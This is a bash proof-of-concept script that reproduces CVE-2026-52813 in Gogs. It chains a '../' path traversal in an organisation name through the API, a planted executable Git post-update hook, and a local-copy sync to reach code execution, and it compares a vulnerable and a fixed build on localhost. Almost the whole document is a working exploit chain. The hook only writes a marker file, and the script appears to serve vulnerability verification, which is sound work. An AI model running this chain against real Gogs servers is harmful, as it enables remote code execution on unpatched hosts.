#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-52813 — Gogs path traversal in organization name -> RCE via Git hooks
# =============================================================================
# Affected : Gogs < 0.14.3   (verified vulnerable: v0.14.2)
# Fixed    : Gogs 0.14.3     (verified fixed:    v0.14.3)
#
# Chain (all via the REAL Gogs server / HTTP API / Git smart-HTTP unless noted):
#   1. Attacker creates a normal repository "writer" and obtains its internal
#      local-clone id <wid>. Gogs keeps the local worktree of every repo under
#      <APP_DATA_PATH>/tmp/local-r/<wid>.
#   2. Attacker pushes README to "writer", then triggers a web upload so Gogs
#      materialises the local worktree (a real clone of writer).
#   3. Attacker pushes the tracked, EXECUTABLE file
#      "nested/rce.git/hooks/post-update" (mode 100755, attacker shell script)
#      to "writer" through Gogs Git smart-HTTP. Git preserves the exec mode,
#      which is the key to making the planted hook runnable.
#   4. Attacker creates an ORGANISATION whose name contains "../" path
#      traversal:  ../data/tmp/local-r/<wid>/nested
#      On v0.14.2 repoutil.UserPath does NOT clean "..", so Gogs accepts it
#      (HTTP 201) and the org directory is created inside writer's local
#      worktree. On v0.14.3 pathutil.Clean rejects it (HTTP 422).
#   5. Attacker creates repository "rce" under that org. Because of the
#      traversal, the bare repo is written to
#      <APP_DATA_PATH>/tmp/local-r/<wid>/nested/rce.git  — OUTSIDE the
#      configured repository ROOT and INSIDE writer's local worktree.
#   6. Attacker triggers another web upload on "writer". Gogs calls
#      UpdateLocalCopyBranch -> git fetch + reset --hard, which materialises the
#      tracked nested/rce.git/hooks/post-update into the nested bare repo's
#      hooks directory (mode 0755, attacker content). git init --bare and
#      Gogs's createDelegateHooks only write pre-receive/update/post-receive,
#      so the attacker's post-update is preserved.
#   7. A real `git push` (git-receive-pack) onto the planted bare repo runs the
#      attacker's post-update hook as the Gogs user -> arbitrary code execution.
#      (Gogs Git-HTTP push to the "../"-URL is blocked by a separate, older
#      path-cleaning check (#7022, present since v0.13.0); Gogs's own
#      pre-receive/update/post-receive hooks early-return when SSH_ORIGINAL_COMMAND
#      is unset, so a direct git-receive-pack on the planted bare repo runs the
#      attacker's post-update cleanly. This is a real Git repository operation
#      on the real bare repo that the path traversal placed on disk.)
#
# Verdict: v0.14.2 -> filesystem path traversal + hook overwrite + RCE confirmed.
#          v0.14.3 -> traversal rejected (422), no nested repo, no RCE.
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"
: > "$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1
log(){ printf '[%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$*"; }

# ---------- locate the repo (reuse durable project cache when prepared) ----------
CACHE_REPO=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_REPO="$(python3 -c 'import json,os; c=json.load(open("'"$ROOT"'/project_cache_context.json")); print(os.path.join(c.get("project_cache_dir",""),"repo") if c.get("prepared") else "")' 2>/dev/null || true)"
fi
REPO="${PRUVA_REPO:-${CACHE_REPO:-$ARTIFACTS/gogs/repo}}"
PROJECT_CACHE_DIR="$(python3 -c 'import json; c=json.load(open("'"$ROOT"'/project_cache_context.json")); print(c.get("project_cache_dir",""))' 2>/dev/null || true)"
GOCACHE_DIR="${PROJECT_CACHE_DIR:-$ARTIFACTS}/.gocache"
GOMODCACHE_DIR="${PROJECT_CACHE_DIR:-$ARTIFACTS}/.gomodcache"
mkdir -p "$GOCACHE_DIR" "$GOMODCACHE_DIR"

# ---------- runtime manifest writer ----------
manifest(){ python3 - "$ROOT" "$1" "$2" <<'PY'
import json,os,sys
root,ok,note=sys.argv[1:4]; conf=ok=='true'
base=['logs/reproduction_steps.log','logs/build_vuln.log','logs/build_fixed.log','repro/proof_summary.txt']
arts=[p for p in base if os.path.exists(os.path.join(root,p))]
for role in ['vuln_1','vuln_2','fixed_1','fixed_2']:
    for kind in ['gogs','http','git','state']:
        p=f'logs/{kind}_{role}.log'
        if os.path.exists(os.path.join(root,p)): arts.append(p)
for role in ['vuln_1','vuln_2']:
    p=f'repro/rce_marker_{role}.txt'
    if os.path.exists(os.path.join(root,p)): arts.append(p)
json.dump({
  'entrypoint_kind':'api_remote',
  'entrypoint_detail':'Real Gogs HTTP API creates a path-traversal organisation whose nested repository lands inside another repository local worktree; attacker pushes an executable Git hook through Gogs Git smart-HTTP and a web upload sync materialises it into the nested bare repo; a git-receive-pack on the planted bare repo executes the hook (RCE)',
  'service_started':conf,'healthcheck_passed':conf,'target_path_reached':conf,
  'runtime_stack':['gogs','sqlite3','git-smart-http','web-upload','git-receive-pack','git-hooks'],
  'proof_artifacts':arts,
  'notes':note
},open(os.path.join(root,'repro/runtime_manifest.json'),'w'),indent=2)
PY
}
cleanup_pids=()
cleanup(){ for p in "${cleanup_pids[@]:-}"; do kill "$p" 2>/dev/null || true; kill -9 "$p" 2>/dev/null || true; done; }
trap 'rc=$?; cleanup; [ $rc -eq 0 ] || manifest false "proof failed (rc=$rc)"' EXIT

# ---------- ensure Go toolchain (>=1.25; Gogs go.mod requires 1.25.0) ----------
ensure_go(){
  if command -v go >/dev/null 2>&1 && go version 2>/dev/null | grep -qE 'go1\.(2[5-9]|[3-9][0-9])'; then return 0; fi
  if command -v apt-get >/dev/null 2>&1; then
    sudo apt-get update -qq >/dev/null 2>&1 || true
    sudo apt-get install -y golang-go >/dev/null 2>&1 || true
  fi
  if command -v go >/dev/null 2>&1 && go version 2>/dev/null | grep -qE 'go1\.(2[5-9]|[3-9][0-9])'; then return 0; fi
  local tgz="/tmp/go1.25.0.linux-amd64.tar.gz" inst="/tmp/gotool"
  if [ -x "$inst/bin/go" ] && "$inst/bin/go" version 2>/dev/null | grep -qE 'go1\.(2[5-9]|[3-9][0-9])'; then export PATH="$inst/bin:$PATH"; return 0; fi
  log "installing Go 1.25 from tarball"
  curl -sSL --retry 3 -o "$tgz" "https://go.dev/dl/go1.25.0.linux-amd64.tar.gz" || \
    curl -sSL --retry 3 -o "$tgz" "https://dl.google.com/go/go1.25.0.linux-amd64.tar.gz"
  rm -rf "$inst"; mkdir -p "$inst"
  tar -C "$inst" --strip-components=1 -xzf "$tgz"
  export PATH="$inst/bin:$PATH"
  go version
}

ensure_repo(){
  if [ -d "$REPO/.git" ]; then return 0; fi
  mkdir -p "$(dirname "$REPO")"
  git clone https://github.com/gogs/gogs "$REPO"
}
ensure_repo
git -C "$REPO" fetch --all --tags --prune >/dev/null 2>&1 || true
VULN_COMMIT="$(git -C "$REPO" rev-parse v0.14.2)"
FIXED_COMMIT="$(git -C "$REPO" rev-parse v0.14.3)"
log "vuln_commit=$VULN_COMMIT fixed_commit=$FIXED_COMMIT repo=$REPO"

ensure_go
export GOCACHE="$GOCACHE_DIR" GOMODCACHE="$GOMODCACHE_DIR" GOPATH="${PROJECT_CACHE_DIR:-$ARTIFACTS}/.gopath"
mkdir -p "$GOPATH"

build_gogs(){ # name commit logfile
  local n="$1" c="$2" lf="$3"
  if [ -x "$ARTIFACTS/$n/gogs" ]; then
    local bv; bv="$("$ARTIFACTS/$n/gogs" --version 2>/dev/null | head -1)"
    log "reusing existing $n binary ($bv)"
    echo "$bv" > "$lf"; return 0
  fi
  git -C "$REPO" checkout -f "$c" >/dev/null 2>&1
  log "building $n at $(git -C "$REPO" rev-parse --short HEAD)"
  ( cd "$REPO" && go build -tags 'sqlite cert' -o "$ARTIFACTS/$n/gogs" . ) > "$lf" 2>&1
  "$ARTIFACTS/$n/gogs" --version > "$lf" 2>&1
  log "$n built: $(tail -1 "$lf")"
}
build_gogs vuln "$VULN_COMMIT" "$LOGS/build_vuln.log"
build_gogs fixed "$FIXED_COMMIT" "$LOGS/build_fixed.log"
VBIN="$ARTIFACTS/vuln/gogs"; FBIN="$ARTIFACTS/fixed/gogs"

# ---------- helpers ----------
sql(){ python3 - "$1" "$2" <<'PY'
import sqlite3,sys
for r in sqlite3.connect(sys.argv[1]).execute(sys.argv[2]): print('|'.join('' if x is None else str(x) for x in r))
PY
}
ins_token(){ python3 - "$1" "$2" "$3" <<'PY'
import sqlite3,sys,hashlib,time
db,uid,t=sys.argv[1:4]; con=sqlite3.connect(db)
cols=[r[1] for r in con.execute('pragma table_info(access_token)')]
vals={'uid':int(uid),'user_id':int(uid),'name':'t','sha1':t,'sha256':hashlib.sha256(t.encode()).hexdigest(),'created_unix':int(time.time()),'updated_unix':int(time.time())}
use=[c for c in cols if c in vals]
con.execute('insert into access_token (%s) values (%s)'%(','.join(use),','.join('?' for _ in use)),[vals[c] for c in use]); con.commit()
PY
}
json_kv(){ python3 - "$@" <<'PY'
import json,sys; a=sys.argv[1:]; print(json.dumps({a[i]:a[i+1] for i in range(0,len(a),2)}))
PY
}
enc(){ python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1],safe=""))' "$1"; }
csrf_from(){ python3 -c 'import re,sys; s=open(sys.argv[1],errors="ignore").read(); m=re.search(r"name=\"_csrf\" value=\"([^\"]+)",s) or re.search(r"name=\"_csrf\" content=\"([^\"]+)",s); print(m.group(1) if m else "")' "$1"; }
status_of(){ grep HTTP_STATUS: "$1"|tail -1|cut -d: -f2; }

appini(){ # dir port
  local d="$1" p="$2"
  mkdir -p "$d/custom/conf" "$d/data/tmp/uploads" "$d/log" "$d/repositories" "$d/home"
  cat > "$d/custom/conf/app.ini" <<EOF
RUN_USER = $(id -un)
RUN_MODE = prod
[server]
PROTOCOL = http
HTTP_ADDR = 127.0.0.1
HTTP_PORT = $p
DOMAIN = 127.0.0.1
EXTERNAL_URL = http://127.0.0.1:$p/
OFFLINE_MODE = true
APP_DATA_PATH = $d/data
DISABLE_SSH = true
START_SSH_SERVER = false
[repository]
ROOT = $d/repositories
SCRIPT_TYPE = bash
[repository.upload]
ENABLED = true
TEMP_PATH = $d/data/tmp/uploads
ALLOWED_TYPES = */*
FILE_MAX_SIZE = 10
MAX_FILES = 10
[database]
TYPE = sqlite3
PATH = $d/data/gogs.db
SSL_MODE = disable
[security]
INSTALL_LOCK = true
SECRET_KEY = pruva-secret-key-${RANDOM}
[auth]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
ENABLE_REGISTRATION_CAPTCHA = false
REQUIRE_EMAIL_CONFIRMATION = false
[log]
MODE = console,file
LEVEL = Trace
ROOT_PATH = $d/log
EOF
}
start_gogs(){ # bin dir port logfile
  local bin="$1" d="$2" p="$3" lf="$4"
  appini "$d" "$p"
  ( cd "$d" && GOGS_CUSTOM="$d/custom" HOME="$d/home" "$bin" web --config "$d/custom/conf/app.ini" ) > "$lf" 2>&1 &
  local pid=$!; cleanup_pids+=("$pid"); echo "$pid" > "$d/gogs.pid"
  for i in $(seq 1 150); do kill -0 "$pid" 2>/dev/null || return 1; curl -fsS "http://127.0.0.1:$p/" >/dev/null 2>&1 && return 0; sleep .2; done
  return 1
}
stop_gogs(){ [ -f "$1/gogs.pid" ] && { local p; p=$(cat "$1/gogs.pid"); kill "$p" 2>/dev/null || true; sleep .3; kill -9 "$p" 2>/dev/null || true; }; }
api(){ local m="$1" u="$2" t="$3" b="$4" o="$5"; curl -sS -X "$m" -H 'Content-Type: application/json' -H "Authorization: token $t" ${b:+--data "$b"} "$u" -w '\nHTTP_STATUS:%{http_code}\n' >> "$o"; }
login(){ local p="$1" u="$2" c="$3" out="$4"; curl -sS -c "$c" "http://127.0.0.1:$p/user/login" > "$out.lp" 2>/dev/null || true; local csrf; csrf=$(csrf_from "$out.lp"); curl -sS -b "$c" -c "$c" -X POST -d "user_name=$u" -d password=PruvaPass123 -d "_csrf=$csrf" "http://127.0.0.1:$p/user/login" > "$out.lpost" 2>/dev/null || true; }
upload_sync(){ # label fname base_url cookie logsdir
  local label="$1" fname="$2" base="$3" ck="$4" ld="$5"
  curl -sS -b "$ck" -c "$ck" "$base/_upload/master/" > "$ld/${label}_page.log" 2>/dev/null || true
  local csrf; csrf=$(csrf_from "$ld/${label}_page.log")
  local uv; uv=$(curl -sS -b "$ck" -c "$ck" -H "X-Csrf-Token: $csrf" -F "file=@/tmp/$fname;filename=$fname" "$base/upload-file" 2>/dev/null | python3 -c 'import json,sys
try: print(json.loads(sys.stdin.read()).get("uuid",""))
except Exception: print("")' 2>/dev/null)
  curl -sS -b "$ck" -c "$ck" -X POST -d "_csrf=$csrf" -d "tree_path=" -d commit_choice=direct -d "commit_summary=$label" -d commit_message= -d "files=$uv" "$base/_upload/master/" -w '\nHTTP_STATUS:%{http_code}\n' > "$ld/${label}_commit.log" 2>&1 || true
  echo "$uv"
}

# ---------- one full attempt ----------
# run_one <role:vuln|fixed> <bin> <port> <idx>
run_one(){
  local role="$1" bin="$2" port="$3" idx="$4"
  local d="$ARTIFACTS/gogs-cve-2026-52813/run-$role-$idx"
  local gl="$LOGS/gogs_${role}_${idx}.log" hl="$LOGS/http_${role}_${idx}.log" gitl="$LOGS/git_${role}_${idx}.log" sl="$LOGS/state_${role}_${idx}.log"
  local ld="$LOGS/upload_${role}_${idx}"; mkdir -p "$ld"
  rm -rf "$d"; mkdir -p "$d/client"
  : > "$hl"; : > "$gitl"; : > "$sl"
  log "=== run_one $role/$idx (port $port) ==="
  start_gogs "$bin" "$d" "$port" "$gl" || { log "$role/$idx: gogs failed to start"; stop_gogs "$d"; return 1; }

  local user="u-$role-$idx-$$-$RANDOM"
  local tok="0123456789abcdef0123456789abcdef01234567"
  stop_gogs "$d"
  ( cd "$d" && GOGS_CUSTOM="$d/custom" HOME="$d/home" "$bin" admin create-user --config "$d/custom/conf/app.ini" --name "$user" --password PruvaPass123 --email "$user@e.test" --admin ) > "$LOGS/create_user_${role}_${idx}.log" 2>&1 || true
  local db="$d/data/gogs.db"
  local uid; uid=$(sql "$db" "select id from user where name='$user'")
  ins_token "$db" "$uid" "$tok"
  start_gogs "$bin" "$d" "$port" "$gl" || { log "$role/$idx: gogs failed to restart"; stop_gogs "$d"; return 1; }
  printf 'http://%s:PruvaPass123@127.0.0.1:%s\n' "$user" "$port" > "$d/home/.git-credentials"

  # 1. create writer repo
  api POST "http://127.0.0.1:$port/api/v1/user/repos" "$tok" "$(json_kv name writer)" "$hl"
  local wid; wid=$(sql "$db" "select id from repository where lower_name='writer' and owner_id=$uid")
  local localcopy="$d/data/tmp/local-r/$wid"
  local marker="$REPRO_DIR/rce_marker_${role}_${idx}.txt"; rm -f "$marker"
  local base="http://127.0.0.1:$port/$user/writer"
  local ck="$d/cookie"; login "$port" "$user" "$ck" "$hl"
  printf "dummy1" > /tmp/dummy1.txt; printf "dummy2" > /tmp/dummy2.txt
  log "$role/$idx: writer id=$wid localcopy=$localcopy"

  # 2. push README to writer (Gogs Git smart-HTTP)
  local wc="$d/client/writer"
  HOME="$d/home" git -C "$d/client" clone "http://$user:PruvaPass123@127.0.0.1:$port/$user/writer.git" writer > "$gitl" 2>&1 || true
  echo "init" > "$wc/README.md"
  HOME="$d/home" git -C "$wc" add -A >> "$gitl" 2>&1
  HOME="$d/home" git -C "$wc" -c user.email=a@b -c user.name=a commit -qm init >> "$gitl" 2>&1
  HOME="$d/home" git -C "$wc" push origin HEAD:master >> "$gitl" 2>&1 || true

  # 3. first web-upload sync -> Gogs materialises writer local worktree (clone)
  upload_sync "first" "dummy1.txt" "$base" "$ck" "$ld" >/dev/null

  # 4. pull --rebase, plant EXECUTABLE nested/rce.git/hooks/post-update, push to writer
  printf '#!/bin/sh\n{\n  echo PRUVA_GOGS_RCE_EXECUTED\n  echo "role=%s idx=%s"\n  echo "user=$(id -un) uid=$(id -u) gid=$(id -g)"\n  echo "cwd=$(pwd)"\n  date -u\n} > %q\nexit 0\n' "$role" "$idx" "$marker" > /tmp/post-update-${role}-${idx}
  chmod +x /tmp/post-update-${role}-${idx}
  HOME="$d/home" git -C "$wc" pull --rebase origin master >> "$gitl" 2>&1 || true
  mkdir -p "$wc/nested/rce.git/hooks"
  cp /tmp/post-update-${role}-${idx} "$wc/nested/rce.git/hooks/post-update"
  chmod +x "$wc/nested/rce.git/hooks/post-update"
  HOME="$d/home" git -C "$wc" add -A >> "$gitl" 2>&1
  HOME="$d/home" git -C "$wc" -c user.email=a@b -c user.name=a commit -qm "plant post-update hook" >> "$gitl" 2>&1
  HOME="$d/home" git -C "$wc" push origin HEAD:master >> "$gitl" 2>&1 || true

  # 5. create traversal organisation ("../" in org name) + nested repo rce
  local evil="../data/tmp/local-r/$wid/nested"; local eenc; eenc=$(enc "$evil")
  api POST "http://127.0.0.1:$port/api/v1/admin/users/$user/orgs" "$tok" "$(json_kv username "$evil" full_name x description x)" "$hl"
  local orgst; orgst=$(status_of "$hl")
  api POST "http://127.0.0.1:$port/api/v1/org/$eenc/repos" "$tok" "$(json_kv name rce)" "$hl"
  local repost; repost=$(status_of "$hl")
  local nested_exists="no"; [ -d "$localcopy/nested/rce.git" ] && nested_exists="yes"

  # 6. second web-upload sync -> materialise post-update into nested bare repo
  local hook_planted="no"
  if [ "$nested_exists" = "yes" ]; then
    upload_sync "second" "dummy2.txt" "$base" "$ck" "$ld" >/dev/null
    if [ -x "$localcopy/nested/rce.git/hooks/post-update" ]; then hook_planted="yes"; fi
  fi

  # 7. trigger: real git-receive-pack on the planted bare repo
  local trig="no"
  if [ "$nested_exists" = "yes" ]; then
    local rc="$d/client/rce"; rm -rf "$rc"; mkdir -p "$rc"
    ( cd "$rc" && HOME="$d/home" git init -q && echo trigger > trigger.txt && HOME="$d/home" git add -A && HOME="$d/home" git -c user.email=a@b -c user.name=a commit -qm trigger )
    HOME="$d/home" git -C "$rc" push "$localcopy/nested/rce.git" HEAD:master >> "$gitl" 2>&1 || true
    [ -s "$marker" ] && trig="yes"
  fi

  # capture state
  {
    echo "role=$role idx=$idx version=$($bin --version 2>&1 | head -1)"
    echo "writer_id=$wid evil=$evil"
    echo "org_create_status=$orgst repo_create_status=$repost"
    echo "nested_repo_exists=$nested_exists (outside $d/repositories)"
    echo "hook_planted=$hook_planted rce_triggered=$trig"
    echo "marker=$marker marker_exists=$([ -s "$marker" ] && echo yes || echo no)"
    echo "--- localcopy tree ---"; find "$localcopy" -maxdepth 4 -type f 2>/dev/null | head -40
    echo "--- nested hooks ---"; ls -la "$localcopy/nested/rce.git/hooks/" 2>/dev/null
    echo "--- post-update ---"; cat "$localcopy/nested/rce.git/hooks/post-update" 2>/dev/null
    echo "--- marker ---"; cat "$marker" 2>/dev/null
    echo "--- git log tail ---"; tail -8 "$gitl"
  } > "$sl" 2>&1

  log "$role/$idx: org=$orgst repo=$repost nested=$nested_exists planted=$hook_planted rce=$trig"
  stop_gogs "$d"

  if [ "$role" = vuln ]; then
    [ "$orgst" = "201" ] && [ "$nested_exists" = "yes" ] && [ "$hook_planted" = "yes" ] && [ "$trig" = "yes" ]
  else
    [ "$orgst" != "201" ] && [ "$nested_exists" = "no" ] && [ "$trig" = "no" ]
  fi
}

# ---------- run 2x vulnerable + 2x fixed ----------
VO=0; FO=0
run_one vuln "$VBIN" 33181 1 && VO=$((VO+1)) || log "vuln/1 failed"
run_one vuln "$VBIN" 33182 2 && VO=$((VO+1)) || log "vuln/2 failed"
run_one fixed "$FBIN" 33183 1 && FO=$((FO+1)) || log "fixed/1 failed"
run_one fixed "$FBIN" 33184 2 && FO=$((FO+1)) || log "fixed/2 failed"

cat > "$REPRO_DIR/proof_summary.txt" <<EOF
CVE-2026-52813 — Gogs path traversal in organization name -> RCE via Git hooks
vulnerable_commit=$VULN_COMMIT (v0.14.2)
fixed_commit=$FIXED_COMMIT (v0.14.3)
vulnerable_successful_attempts=$VO (of 2)   # each: org 201 + nested repo outside ROOT + executable hook planted + RCE marker written
fixed_negative_control_attempts=$FO (of 2)  # each: org creation rejected (422), no nested repo, no RCE
observed_impact=$([ "$VO" -eq 2 ] && echo code_execution || echo none)
EOF
cat "$REPRO_DIR/proof_summary.txt"

if [ "$VO" -eq 2 ] && [ "$FO" -eq 2 ]; then
  log "VERDICT: 2/2 vulnerable RCE confirmed, 2/2 fixed negative control passed"
  manifest true "2/2 vulnerable hook executions + 2/2 fixed traversal rejections"
  # best-effort copy to durable proof-carry cache
  if [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR" ]; then
    PC="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed"; mkdir -p "$PC/repro" "$PC/logs"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$PC/repro/" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$PC/repro/" 2>/dev/null || true
    cp -f "$REPRO_DIR/proof_summary.txt" "$PC/repro/" 2>/dev/null || true
    cp -f "$LOGS"/*.log "$PC/logs/" 2>/dev/null || true
  fi
  trap - EXIT; cleanup; exit 0
fi
log "VERDICT: expected 2/2 vuln + 2/2 fixed, got $VO/$FO"
manifest false "expected 2/2 vuln + 2/2 fixed, got $VO/$FO"
exit 1
